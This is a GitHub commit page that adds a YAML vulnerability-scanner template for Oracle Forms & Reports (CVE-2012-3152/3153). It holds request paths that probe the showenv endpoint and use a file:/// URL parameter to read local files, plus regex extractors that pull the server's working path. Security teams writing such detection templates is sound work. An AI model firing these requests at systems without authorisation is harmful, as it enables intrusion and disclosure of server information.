Merge pull request #1751 from realistic-security/master

Create two "Oracle Forms & Reports" Vulnerabilities
patch-1
Prince Chaddha 2021-06-22 19:43:04 +05:30 committed by GitHub
commit 6b358f38a9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 44 additions and 0 deletions

44
cves/2012/CVE-2012-3153.yaml Executable file
View File

@ -0,0 +1,44 @@
id: CVE-2012-3153
info:
name: Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)
author: Sid Ahmed MALAOUI @ Realistic Security
severity: critical
description: |
Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4,
11.1.1.6, and 11.1.2.0 allows remote attackers to affect confidentiality and integrity via unknown
vectors related to Report Server Component.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2012-3152
- https://www.exploit-db.com/exploits/31737
tags: cve,cve2012,oracle,rce
requests:
- method: GET
path:
- "{{BaseURL}}/reports/rwservlet/showenv"
- "{{BaseURL}}/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///"
req-condition: true
matchers-condition: and
matchers:
- type: dsl
dsl:
- '!contains(body_2, "<html>")'
- '!contains(body_2, "<HTML>")'
condition: and
- type: dsl
dsl:
- 'regex("\\\\.*\\\\showenv", body_1)'
- 'regex("/.*/showenv", body_1)'
condition: or
extractors:
- type: regex
name: windows_working_path
part: body_1
regex:
- ".?.?\\\\.*\\\\showenv"
- type: regex
name: linux_working_path
part: body_1
regex:
- "/.*/showenv"